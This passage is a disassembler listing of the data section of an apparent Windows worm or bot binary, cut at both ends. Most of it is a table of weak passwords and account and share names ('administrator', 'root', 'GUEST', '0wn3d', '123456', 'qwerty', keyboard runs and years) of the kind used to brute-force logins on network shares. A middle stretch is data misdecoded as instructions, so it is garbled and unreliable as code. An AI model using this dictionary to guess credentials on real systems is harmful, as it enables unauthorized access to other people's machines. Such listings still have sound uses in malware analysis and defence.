; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset dword_42F4B4 dd offset dword_42F4B0 dd offset dword_42F4AC dd offset dword_42F4A8 dd offset dword_42F4A0 dd offset dword_42F498 dd offset dword_42F490 dd offset dword_42F484 dd offset loc_426447+1 dd offset dword_42F480 dd offset off_42F47C dd offset a@_6 ; "@" dd offset a@@ ; "@@" dd offset asc_42F470 ; "+" dd offset asc_42F46C ; "++" dd offset asc_42F468 ; "+++" dd offset asc_42F460 ; "++++" dd offset asc_42F45C ; "-" dd offset asc_42F458 ; "--" dd offset asc_42F458 ; "--" dd offset asc_42F450 ; "----" dd offset asc_42F44C ; "-+" dd offset asc_42F444 ; "--++" dd offset a0 ; "=-0" dd offset a789_0 ; "789+" dd offset a456_0 ; "456+" dd offset asc_42F42C ; "$" dd offset asc_42F428 ; "$$" dd offset asc_42F424 ; "$$$" dd offset a@_5 ; "*&^%$#@!" dd offset a@_4 ; "&^%$#@!" dd offset a@_3 ; "^%$#@!" dd offset a@_2 ; "%$#@!" dd offset a@_1 ; "$#@!" dd offset a@_0 ; "#@!" dd offset a@ ; "@!" dd offset dword_42645C dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset a00000000 ; "00000000" dd offset a000000000 ; "000000000" dd offset a0000000000 ; "0000000000" dd offset asc_426CEC ; "*" dd offset asc_42F3D4 ; "**" dd offset asc_42F3D0 ; "***" dd offset asc_42F3C8 ; "****" dd offset asc_42F3C0 ; "*****" dd offset asc_42F3B8 ; "******" dd offset asc_42F3B0 ; "*******" dd offset asc_42F3A4 ; "********" dd offset asc_42F398 ; "*********" dd offset a001 ; "001" dd offset a002 ; "002" dd offset a003 ; "003" dd offset a004 ; "004" dd offset a005 ; "005" dd offset a006 ; "006" dd offset a007 ; "007" dd offset a008 ; "008" dd offset a009 ; "009" dd offset a010 ; "010" dd offset a0wn3d ; "0wn3d" dd offset a0wned ; "0wned" dd offset a1 ; "1" dd offset a11 ; "11" dd offset a111 ; "111" dd offset a1111 ; "1111" dd offset a11111 ; "11111" dd offset a111111 ; "111111" dd offset a1111111 ; "1111111" dd offset a11111111 ; "11111111" dd offset a111111111 ; "111111111" dd offset a1111111111 ; "1111111111" dd offset a2 ; "2" dd offset a22 ; "22" dd offset a222 ; "222" dd offset a2222 ; "2222" dd offset a22222 ; "22222" dd offset a222222 ; "222222" dd offset a2222222 ; "2222222" dd offset a22222222 ; "22222222" dd offset a222222222 ; "222222222" dd offset a2222222222 ; "2222222222" dd offset a3 ; "3" dd offset a33 ; "33" dd offset a333 ; "333" dd offset a3333 ; "3333" dd offset a33333 ; "33333" dd offset a333333 ; "333333" dd offset a3333333 ; "3333333" dd offset a33333333 ; "33333333" dd offset a333333333 ; "333333333" dd offset a3333333333 ; "3333333333" dd offset a4_0 ; "4" dd offset a44 ; "44" dd offset a444 ; "444" dd offset a4444 ; "4444" dd offset a44444 ; "44444" dd offset a444444 ; "444444" dd offset a4444444 ; "4444444" dd offset a44444444 ; "44444444" dd offset a444444444 ; "444444444" dd offset a4444444444 ; "4444444444" dd offset a5_0 ; "5" dd offset a55 ; "55" dd offset a555 ; "555" dd offset a5555 ; "5555" dd offset a55555 ; "55555" dd offset a555555 ; "555555" dd offset a5555555 ; "5555555" dd offset a55555555 ; "55555555" dd offset a555555555 ; "555555555" dd offset a5555555555 ; "5555555555" dd offset a6 ; "6" dd offset a66 ; "66" dd offset a666 ; "666" dd offset a6666 ; "6666" dd offset a66666 ; "66666" dd offset a666666 ; "666666" dd offset a6666666 ; "6666666" dd offset a66666666 ; "66666666" dd offset a666666666 ; "666666666" dd offset a6666666666 ; "6666666666" dd offset a7 ; "7" dd offset a77 ; "77" dd offset a777 ; "777" dd offset a7777 ; "7777" dd offset a77777 ; "77777" dd offset a777777 ; "777777" dd offset a7777777 ; "7777777" dd offset a77777777 ; "77777777" dd offset a777777777 ; "777777777" dd offset a7777777777 ; "7777777777" dd offset a8 ; "8" dd offset a88 ; "88" dd offset a888 ; "888" dd offset a8888 ; "8888" dd offset a88888 ; "88888" dd offset a888888 ; "888888" dd offset a8888888 ; "8888888" dd offset a88888888 ; "88888888" dd offset a888888888 ; "888888888" dd offset a8888888888 ; "8888888888" dd offset a9 ; "9" dd offset a99 ; "99" dd offset a999 ; "999" dd offset a9999 ; "9999" dd offset a99999 ; "99999" dd offset a999999 ; "999999" dd offset a9999999 ; "9999999" dd offset a99999999 ; "99999999" dd offset a999999999 ; "999999999" dd offset a9999999999 ; "9999999999" dd offset a110 ; "110" dd offset a7410 ; "7410" dd offset a0147 ; "0147" dd offset a1122 ; "1122" dd offset a456 ; "456" dd offset a654 ; "654" dd offset a789 ; "789" dd offset a987 ; "987" dd offset a8520 ; "8520" dd offset a0258 ; "0258" dd offset a1020 ; "1020" dd offset a12 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123 ; "123" dd offset a123123 ; "123123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1qwer ; "1qwer" dd offset a1abc ; "1abc" dd offset a1asd ; "1asd" dd offset a1qwe ; "1qwe" dd offset a12qwer ; "12qwer" dd offset a12abc ; "12abc" dd offset a12asd ; "12asd" dd offset a12qwe ; "12qwe" dd offset a123qwer ; "123qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe ; "123qwe" dd offset a1234qwer ; "1234qwer" dd offset a1234abc ; "1234abc" dd offset a1234asd ; "1234asd" dd offset a1234qwe ; "1234qwe" dd offset a1952 ; "1952" dd offset a1953 ; "1953" dd offset a1954 ; "1954" dd offset a1955 ; "1955" dd offset a1956 ; "1956" dd offset a1957 ; "1957" dd offset a1958 ; "1958" dd offset a1959 ; "1959" dd offset a1960 ; "1960" dd offset a1961 ; "1961" dd offset a1962 ; "1962" dd offset a1963 ; "1963" dd offset a1964 ; "1964" dd offset a1965 ; "1965" dd offset a1966 ; "1966" dd offset a1967 ; "1967" dd offset a1968 ; "1968" dd offset a1969 ; "1969" dd offset a1970 ; "1970" dd offset a1971 ; "1971" dd offset a1972 ; "1972" dd offset a1973 ; "1973" dd offset a1974 ; "1974" dd offset a1975 ; "1975" dd offset a1976 ; "1976" dd offset a1977 ; "1977" dd offset a1978 ; "1978" dd offset a1979 ; "1979" dd offset a1980 ; "1980" dd offset a1981 ; "1981" dd offset a1982 ; "1982" dd offset a1983 ; "1983" dd offset a1984 ; "1984" dd offset a1985 ; "1985" dd offset a1986 ; "1986" dd offset a1987 ; "1987" dd offset a1988 ; "1988" dd offset a1989 ; "1989" dd offset a1990 ; "1990" dd offset a1991 ; "1991" dd offset a1992 ; "1992" dd offset a1993 ; "1993" dd offset a1994 ; "1994" dd offset a1995 ; "1995" dd offset a1996 ; "1996" dd offset a1997 ; "1997" dd offset a1998 ; "1998" dd offset a1999 ; "1999" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset a2006 ; "2006" dd offset a2600 ; "2600" dd offset a321 ; "321" dd offset a4321 ; "4321" dd offset a54321 ; "54321" dd offset a654321 ; "654321" dd offset a7654321 ; "7654321" dd offset aSony ; "sony" dd offset aSamsung_0 ; "SAMSUNG" dd offset aSamsung ; "samsung" dd offset aSony_0 ; "SONY" dd offset aMaster_0 ; "MASTER" dd offset aMicrosoft ; "MICROSOFT" dd offset aDisc_0 ; "DISC" dd offset aCreative ; "CREATIVE" dd offset aSex ; "SEX" dd offset aNokia ; "NOKIA" dd offset aXp ; "XP" dd offset aA_2 ; "a" dd offset aAa ; "aa" dd offset aAaa ; "aaa" dd offset aAaaa ; "aaaa" dd offset aAaaaa ; "aaaaa" dd offset aAaaaaa ; "aaaaaa" dd offset aAaaaaaa ; "aaaaaaa" dd offset aAaaaaaaa ; "aaaaaaaa" dd offset aAaaaaaaaa ; "aaaaaaaaa" dd offset aPassword_0 ; "Password" dd offset aPassword1 ; "password1" dd offset aQw ; "qw" dd offset aQwe ; "qwe" dd offset aQwer ; "qwer" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aQwertyu ; "qwertyu" dd offset aQwertyui ; "qwertyui" dd offset aQwertyuio ; "qwertyuio" dd offset aQwertyuiop ; "qwertyuiop" dd offset aRoot ; "root" dd offset aServer_0 ; "server" dd offset aService ; "service" dd offset aServers ; "servers" dd offset aServices ; "services" dd offset aSystem ; "system" dd offset aSystem_0 ; "SYSTEM" dd offset aChi_0 ; "CHI" dd offset aChi ; "chi" dd offset aKor_0 ; "kor" dd offset aTiger ; "tiger" dd offset aKor ; "KOR" dd offset aToyota_0 ; "TOYOTA" dd offset aToyota ; "toyota" dd offset asc_432D30 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset aXyz ; "xyz" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aKonyang ; "konyang" dd offset aZ_1 ; "z" dd offset aZx ; "zx" dd offset aZxc ; "zxc" dd offset aZxcv ; "zxcv" dd offset aZxcvb ; "zxcvb" dd offset aZxcvbn ; "zxcvbn" dd offset aZxcvbnm ; "zxcvbnm" dd offset aAs ; "as" dd offset aAsd ; "asd" dd offset aAsdf ; "asdf" dd offset aAsdfg ; "asdfg" dd offset aAsdfgh ; "asdfgh" dd offset aAsdfghj ; "asdfghj" dd offset aAsdfghjk ; "asdfghjk" dd offset aAsdfghjkl ; "asdfghjkl" dd offset aQaz ; "qaz" dd offset aWsx ; "wsx" dd offset aEdc ; "edc" dd offset aRfv ; "rfv" dd offset aB_0 ; "b" dd offset aBb ; "bb" dd offset aBbb ; "bbb" dd offset aBbbb ; "bbbb" dd offset aBbbbb ; "bbbbb" dd offset aBbbbbb ; "bbbbbb" dd offset aBbbbbbb ; "bbbbbbb" dd offset aBbbbbbbb ; "bbbbbbbb" dd offset aBbbbbbbbb ; "bbbbbbbbb" dd offset aC_1 ; "c" dd offset aCc ; "cc" dd offset aCcc ; "ccc" dd offset aCccc_0 ; "cccc" dd offset aCcccc ; "ccccc" dd offset aCccccc ; "cccccc" dd offset aCcccccc ; "ccccccc" dd offset aCccccccc ; "cccccccc" dd offset aCcccccccc ; "ccccccccc" dd offset aD ; "d" dd offset aDd_1 ; "dd" dd offset aDdd ; "ddd" dd offset aDddd ; "dddd" dd offset aDdddd ; "ddddd" dd offset aF ; "f" ; --------------------------------------------------------------------------- or ah, ch inc edx add [esp+ebp*8], al inc edx add ah, bh loc_42E5C1: ; CODE XREF: seg001:0042E5D4j jmp short loc_42E605 ; --------------------------------------------------------------------------- align 4 dd offset aFffff ; "fffff" dd offset aE ; "e" dd offset aEe ; "ee" dd offset aEee ; "eee" ; --------------------------------------------------------------------------- loopne loc_42E5C1 inc edx add al, bl jmp short loc_42E61D ; --------------------------------------------------------------------------- align 4 shr bl, 1 inc edx add ah, cl jmp short loc_42E625 ; --------------------------------------------------------------------------- align 4 dd offset aGg ; "gg" dd offset aGgg ; "ggg" ; --------------------------------------------------------------------------- mov esp, 0B40042EBh jmp short loc_42E635 ; --------------------------------------------------------------------------- align 4 lodsb jmp short loc_42E639 ; --------------------------------------------------------------------------- align 4 dd offset asc_42EBA8 ; "h" ; --------------------------------------------------------------------------- movsb jmp short loc_42E641 ; --------------------------------------------------------------------------- align 10h mov al, ds:980042EBh loc_42E605: ; CODE XREF: seg001:loc_42E5C1j jmp short loc_42E649 ; --------------------------------------------------------------------------- align 4 dd offset aHhhhh ; "hhhhh" dd offset aHhhhhh ; "hhhhhh" ; --------------------------------------------------------------------------- test ch, bl inc edx add [eax+7C0042EBh], al jmp short loc_42E65D ; --------------------------------------------------------------------------- align 4 db 74h ; --------------------------------------------------------------------------- loc_42E61D: ; CODE XREF: seg001:0042E5D9j jmp short loc_42E661 ; --------------------------------------------------------------------------- align 10h dd offset aIiiii ; "iiiii" db 64h ; --------------------------------------------------------------------------- loc_42E625: ; CODE XREF: seg001:0042E5E1j jmp short loc_42E669 ; --------------------------------------------------------------------------- align 4 pusha jmp short loc_42E66D ; --------------------------------------------------------------------------- align 4 dd offset aJj ; "jj" ; --------------------------------------------------------------------------- pop eax jmp short near ptr byte_42E675 ; --------------------------------------------------------------------------- align 4 push eax loc_42E635: ; CODE XREF: seg001:0042E5F1j jmp short loc_42E679 ; --------------------------------------------------------------------------- align 4 dec eax loc_42E639: ; CODE XREF: seg001:0042E5F5j jmp short near ptr loc_42E679+4 ; --------------------------------------------------------------------------- align 4 inc eax jmp short near ptr loc_42E680+1 ; --------------------------------------------------------------------------- align 10h db 3Ch ; --------------------------------------------------------------------------- loc_42E641: ; CODE XREF: seg001:0042E5FDj jmp short loc_42E685 ; --------------------------------------------------------------------------- align 4 dd offset aKk ; "kk" db 34h ; --------------------------------------------------------------------------- loc_42E649: ; CODE XREF: seg001:loc_42E605j jmp short loc_42E68D ; --------------------------------------------------------------------------- align 4 sub al, 0EBh inc edx add [ebx+ebp*8], ah inc edx add [ebx+ebp*8], bl inc edx add [eax], bl jmp short loc_42E69D ; --------------------------------------------------------------------------- align 4 db 14h ; --------------------------------------------------------------------------- loc_42E65D: ; CODE XREF: seg001:0042E619j jmp short near ptr loc_42E69D+4 ; --------------------------------------------------------------------------- align 10h db 10h ; --------------------------------------------------------------------------- loc_42E661: ; CODE XREF: seg001:loc_42E61Dj jmp short loc_42E6A5 ; --------------------------------------------------------------------------- align 4 dd offset aLlll ; "llll" db 0 ; --------------------------------------------------------------------------- loc_42E669: ; CODE XREF: seg001:loc_42E625j jmp short loc_42E6AD ; --------------------------------------------------------------------------- align 4 clc loc_42E66D: ; CODE XREF: seg001:0042E629j jmp far ptr 42h:0EAF40042h ; --------------------------------------------------------------------------- db 0F0h byte_42E675 db 0EAh, 42h, 0 ; CODE XREF: seg001:0042E631j db 0ECh ; --------------------------------------------------------------------------- loc_42E679: ; CODE XREF: seg001:loc_42E635j ; seg001:loc_42E639j jmp far ptr 42h:0EAE40042h ; --------------------------------------------------------------------------- loc_42E680: ; CODE XREF: seg001:0042E63Dj fsub st(2), st inc edx add ah, dl loc_42E685: ; CODE XREF: seg001:loc_42E641j jmp far ptr 42h:0EAD00042h ; --------------------------------------------------------------------------- db 0CCh ; --------------------------------------------------------------------------- loc_42E68D: ; CODE XREF: seg001:loc_42E649j jmp far ptr 42h:0EAC80042h ; --------------------------------------------------------------------------- shr dl, 42h add [eax-4FFFBD16h], bh loc_42E69D: ; CODE XREF: seg001:0042E659j ; seg001:loc_42E65Dj jmp far ptr 42h:0EAAC0042h ; --------------------------------------------------------------------------- db 0A8h ; --------------------------------------------------------------------------- loc_42E6A5: ; CODE XREF: seg001:loc_42E661j jmp far ptr 42h:0EAA40042h ; --------------------------------------------------------------------------- pushf loc_42E6AD: ; CODE XREF: seg001:loc_42E669j jmp far ptr 42h:0EA940042h ; --------------------------------------------------------------------------- dd offset aOooooo ; "oooooo" dd offset aP_1 ; "p" dd offset aPp ; "pp" dd offset aPpp ; "ppp" dd offset aPppp ; "pppp" dd offset aPpppp ; "ppppp" dd offset aPppppp ; "pppppp" dd offset aU_0 ; "u" dd offset aUu ; "uu" dd offset aUuu ; "uuu" dd offset aUuuu ; "uuuu" dd offset aUuuuu ; "uuuuu" dd offset aUuuuuu ; "uuuuuu" dd offset aS_4 ; "s" dd offset aSs ; "ss" dd offset aSss ; "sss" dd offset aSsss ; "ssss" dd offset aSssss ; "sssss" dd offset aSsssss ; "ssssss" dd offset aT ; "t" dd offset aTt ; "tt" dd offset aTtt ; "ttt" dd offset aTttt ; "tttt" dd offset aTtttt ; "ttttt" dd offset aTttttt ; "tttttt" dd offset aY ; "y" dd offset aYy ; "yy" dd offset aYyy ; "yyy" dd offset aYyyy ; "yyyy" dd offset aYyyyy ; "yyyyy" dd offset aYyyyyy ; "yyyyyy" dd offset aV ; "v" dd offset aVv ; "vv" dd offset aVvv ; "vvv" dd offset aVvvv ; "vvvv" dd offset aVvvvv ; "vvvvv" dd offset aVvvvvv ; "vvvvvv" dd offset aW ; "w" dd offset aWw ; "ww" dd offset aWww ; "www" dd offset aWwww ; "wwww" dd offset aWwwww ; "wwwww" dd offset aWwwwww ; "wwwwww" dd offset aQ ; "q" dd offset aQq ; "qq" dd offset aQqq ; "qqq" dd offset aQqqq ; "qqqq" dd offset aQqqqq ; "qqqqq" dd offset aQqqqqq ; "qqqqqq" dd offset aZ_1 ; "z" dd offset aZz ; "zz" dd offset aZzz ; "zzz" dd offset aZzzz ; "zzzz" dd offset aZzzzz ; "zzzzz" dd offset aZzzzzz ; "zzzzzz" dd offset aXxyyzz ; "xxyyzz" dd offset aZzxx ; "zzxx" dd offset aAass ; "aass" dd offset aQqww ; "qqww" dd offset aZzzxxxccc ; "zzzxxxccc" dd offset aAaasssddd ; "aaasssddd" dd offset aQqqwwweee ; "qqqwwweee" dd offset aQqwwee ; "qqwwee" dd offset aAassdd ; "aassdd" dd offset aZzxxcc ; "zzxxcc" dd offset a1qaz ; "1qaz" dd offset a2wsx ; "2wsx" dd offset a2qaz ; "2qaz" dd offset a3edc ; "3edc" dd offset a3wsx ; "3wsx" dd offset a112233 ; "112233" dd offset aMnb ; "mnb" dd offset aMnbv ; "mnbv" dd offset a2486 ; "2486" dd offset a2684 ; "2684" dd offset a13579 ; "13579" dd offset a753159 ; "753159" dd offset a159357 ; "159357" dd offset a951753 ; "951753" dd offset a753951 ; "753951" dd offset a142536 ; "142536" dd offset aSystem ; "system" dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" align 10h dword_42E870 dd 10h ; sub_40CD3A+B03r ... a142536 db '142536',0 ; DATA XREF: seg001:0042E7F4o align 4 a753951 db '753951',0 ; DATA XREF: seg001:0042E7F0o align 4 a951753 db '951753',0 ; DATA XREF: seg001:0042E7ECo align 4 a159357 db '159357',0 ; DATA XREF: seg001:0042E7E8o align 4 a753159 db '753159',0 ; DATA XREF: seg001:0042E7E4o align 4 a13579 db '13579',0 ; DATA XREF: seg001:0042E7E0o align 4 a2684 db '2684',0 ; DATA XREF: seg001:0042E7DCo align 4 a2486 db '2486',0 ; DATA XREF: seg001:0042E7D8o align 4 aMnbv db 'mnbv',0 ; DATA XREF: seg001:0042E7D4o align 4 aMnb db 'mnb',0 ; DATA XREF: seg001:0042E7D0o a112233 db '112233',0 ; DATA XREF: seg001:0042E7CCo align 4 a3wsx db '3wsx',0 ; DATA XREF: seg001:0042E7C8o align 10h a3edc db '3edc',0 ; DATA XREF: seg001:0042E7C4o align 4 a2qaz db '2qaz',0 ; DATA XREF: seg001:0042E7C0o align 10h a2wsx db '2wsx',0 ; DATA XREF: seg001:0042E7BCo align 4 a1qaz db '1qaz',0 ; DATA XREF: seg001:0042E7B8o align 10h aZzxxcc db 'zzxxcc',0 ; DATA XREF: seg001:0042E7B4o align 4 aAassdd db 'aassdd',0 ; DATA XREF: seg001:0042E7B0o align 10h aQqwwee db 'qqwwee',0 ; DATA XREF: seg001:0042E7ACo align 4 aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: seg001:0042E7A8o align 4 aAaasssddd db 'aaasssddd',0 ; DATA XREF: seg001:0042E7A4o align 10h aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: seg001:0042E7A0o align 4 aQqww db 'qqww',0 ; DATA XREF: seg001:0042E79Co align 4 aAass db 'aass',0 ; DATA XREF: seg001:0042E798o align 4 aZzxx db 'zzxx',0 ; DATA XREF: seg001:0042E794o align 4 aXxyyzz db 'xxyyzz',0 ; DATA XREF: seg001:0042E790o align 4 aZzzzzz db 'zzzzzz',0 ; DATA XREF: seg001:0042E78Co align 4 aZzzzz db 'zzzzz',0 ; DATA XREF: seg001:0042E788o align 4 aZzzz db 'zzzz',0 ; DATA XREF: seg001:0042E784o align 4 aZzz db 'zzz',0 ; DATA XREF: seg001:0042E780o aZz db 'zz',0 ; DATA XREF: seg001:0042E77Co align 4 aQqqqqq db 'qqqqqq',0 ; DATA XREF: seg001:0042E774o align 4 aQqqqq db 'qqqqq',0 ; DATA XREF: seg001:0042E770o align 4 aQqqq db 'qqqq',0 ; DATA XREF: seg001:0042E76Co align 4 aQqq db 'qqq',0 ; DATA XREF: seg001:0042E768o aQq db 'qq',0 ; DATA XREF: seg001:0042E764o align 4 aQ: ; DATA XREF: seg001:0042E760o unicode 0, <q>,0 aWwwwww db 'wwwwww',0 ; DATA XREF: seg001:0042E75Co align 4 aWwwww db 'wwwww',0 ; DATA XREF: seg001:0042E758o align 10h aWwww db 'wwww',0 ; DATA XREF: seg001:0042E754o align 4 aWww db 'www',0 ; DATA XREF: seg001:0042E750o aWw db 'ww',0 ; DATA XREF: seg001:0042E74Co align 10h aW: ; DATA XREF: seg001:0042E748o unicode 0, <w>,0 aVvvvvv db 'vvvvvv',0 ; DATA XREF: seg001:0042E744o align 4 aVvvvv db 'vvvvv',0 ; DATA XREF: seg001:0042E740o align 4 aVvvv db 'vvvv',0 ; DATA XREF: seg001:0042E73Co align 4 aVvv db 'vvv',0 ; DATA XREF: sub_40CD3A+25AAo ; seg001:0042E738o aVv db 'vv',0 ; DATA XREF: seg001:0042E734o align 4 aV: ; DATA XREF: seg001:0042E730o unicode 0, <v>,0 aYyyyyy db 'yyyyyy',0 ; DATA XREF: seg001:0042E72Co align 10h aYyyyy db 'yyyyy',0 ; DATA XREF: seg001:0042E728o align 4 aYyyy db 'yyyy',0 ; DATA XREF: seg001:0042E724o align 10h aYyy db 'yyy',0 ; DATA XREF: seg001:0042E720o aYy db 'yy',0 ; DATA XREF: seg001:0042E71Co align 4 aY: ; DATA XREF: seg001:0042E718o unicode 0, <y>,0 aTttttt db 'tttttt',0 ; DATA XREF: seg001:0042E714o align 4 aTtttt db 'ttttt',0 ; DATA XREF: seg001:0042E710o align 4 aTttt db 'tttt',0 ; DATA XREF: seg001:0042E70Co align 4 aTtt db 'ttt',0 ; DATA XREF: seg001:0042E708o aTt db 'tt',0 ; DATA XREF: seg001:0042E704o align 4 aT: ; DATA XREF: seg001:0042E700o unicode 0, <t>,0 aSsssss db 'ssssss',0 ; DATA XREF: seg001:0042E6FCo align 4 aSssss db 'sssss',0 ; DATA XREF: seg001:0042E6F8o align 10h aSsss db 'ssss',0 ; DATA XREF: seg001:0042E6F4o align 4 aSss db 'sss',0 ; DATA XREF: seg001:0042E6F0o aSs db 'ss',0 ; DATA XREF: seg001:0042E6ECo align 10h aS_4: ; DATA XREF: seg001:0042E6E8o unicode 0, <s>,0 aUuuuuu db 'uuuuuu',0 ; DATA XREF: seg001:0042E6E4o align 4 aUuuuu db 'uuuuu',0 ; DATA XREF: seg001:0042E6E0o align 4 aUuuu db 'uuuu',0 ; DATA XREF: seg001:0042E6DCo align 4 aUuu db 'uuu',0 ; DATA XREF: seg001:0042E6D8o aUu db 'uu',0 ; DATA XREF: seg001:0042E6D4o align 4 aU_0: ; DATA XREF: seg001:0042E6D0o unicode 0, <u>,0 aPppppp db 'pppppp',0 ; DATA XREF: seg001:0042E6CCo align 10h aPpppp db 'ppppp',0 ; DATA XREF: seg001:0042E6C8o align 4 aPppp db 'pppp',0 ; DATA XREF: seg001:0042E6C4o align 10h aPpp db 'ppp',0 ; DATA XREF: seg001:0042E6C0o aPp db 'pp',0 ; DATA XREF: seg001:0042E6BCo align 4 aP_1: ; DATA XREF: seg001:0042E6B8o unicode 0, <p>,0 aOooooo db 'oooooo',0 ; DATA XREF: seg001:0042E6B4o align 4 aOoooo db 'ooooo',0 align 4 aOooo db 'oooo',0 align 4 aOoo db 'ooo',0 aOo db 'oo',0 align 4 aO: unicode 0, <o>,0 aNnnnnn db 'nnnnnn',0 align 4 aNnnnn db 'nnnnn',0 align 10h aNnnn db 'nnnn',0 align 4 aNnn db 'nnn',0 aNn db 'nn',0 align 10h aN_0: unicode 0, <n>,0 aMmmmmm db 'mmmmmm',0 align 4 aMmmmm db 'mmmmm',0 align 4 aMmmm db 'mmmm',0 align 4 aMmm db 'mmm',0 aMm db 'mm',0 align 4 aM_0: unicode 0, <m>,0 aLlllll db 'llllll',0 align 10h aLllll db 'lllll',0 align 4 aLlll db 'llll',0 ; DATA XREF: seg001:0042E664o align 10h aLll db 'lll',0 aLl db 'll',0 align 4 unicode 0, <l>,0 aKkkkkk db 'kkkkkk',0 align 4 aKkkkk db 'kkkkk',0 align 4 aKkkk db 'kkkk',0 align 4 aKkk db 'kkk',0 aKk db 'kk',0 ; DATA XREF: seg001:0042E644o align 4 aK: unicode 0, <k>,0 aJjjjjj db 'jjjjjj',0 align 4 aJjjjj db 'jjjjj',0 align 10h aJjjj db 'jjjj',0 align 4 aJjj db 'jjj',0 aJj db 'jj',0 ; DATA XREF: seg001:0042E62Co align 10h aJ: unicode 0, <j>,0 aIiiiii db 'iiiiii',0 align 4 aIiiii db 'iiiii',0 ; DATA XREF: seg001:0042E620o align 4 aIiii db 'iiii',0 align 4 aIii db 'iii',0 aIi db 'ii',0 align 4 aI_1: unicode 0, <i>,0 aHhhhhh db 'hhhhhh',0 ; DATA XREF: seg001:0042E60Co align 10h aHhhhh db 'hhhhh',0 ; DATA XREF: seg001:0042E608o align 4 aHhhh db 'hhhh',0 align 10h aHhh db 'hhh',0 aHh db 'hh',0 align 4 asc_42EBA8: ; DATA XREF: seg001:0042E5F8o unicode 0, <h>,0 aGggggg db 'gggggg',0 align 4 aGgggg db 'ggggg',0 align 4 aGggg db 'gggg',0 align 4 aGgg db 'ggg',0 ; DATA XREF: seg001:0042E5E8o aGg db 'gg',0 ; DATA XREF: seg001:0042E5E4o align 4 aG: unicode 0, <g>,0 aEeeeee db 'eeeeee',0 align 4 aEeeee db 'eeeee',0 align 10h aEeee db 'eeee',0 align 4 aEee db 'eee',0 ; DATA XREF: seg001:0042E5D0o aEe db 'ee',0 ; DATA XREF: seg001:0042E5CCo align 10h aE: ; DATA XREF: seg001:0042E5C8o unicode 0, <e>,0 aFffff db 'fffff',0 ; DATA XREF: seg001:0042E5C4o align 4 aFfff db 'ffff',0 align 4 aFff db 'fff',0 aFf db 'ff',0 align 4 aF: ; DATA XREF: seg001:0042E5B4o unicode 0, <f>,0 aDdddd db 'ddddd',0 ; DATA XREF: seg001:0042E5B0o align 4 aDddd db 'dddd',0 ; DATA XREF: seg001:0042E5ACo align 10h aDdd db 'ddd',0 ; DATA XREF: seg001:0042E5A8o aDd_1 db 'dd',0 ; DATA XREF: seg001:0042E5A4o align 4 aD: ; DATA XREF: seg001:0042E5A0o unicode 0, <d>,0 aCcccccccc db 'ccccccccc',0 ; DATA XREF: seg001:0042E59Co align 4 aCccccccc db 'cccccccc',0 ; DATA XREF: seg001:0042E598o align 4 aCcccccc db 'ccccccc',0 ; DATA XREF: seg001:0042E594o aCccccc db 'cccccc',0 ; DATA XREF: seg001:0042E590o align 4 aCcccc db 'ccccc',0 ; DATA XREF: seg001:0042E58Co align 4 aCccc_0 db 'cccc',0 ; DATA XREF: seg001:0042E588o align 4 aCcc db 'ccc',0 ; DATA XREF: seg001:0042E584o aCc db 'cc',0 ; DATA XREF: seg001:0042E580o align 4 aC_1: ; DATA XREF: seg001:0042E57Co unicode 0, <c>,0 aBbbbbbbbb db 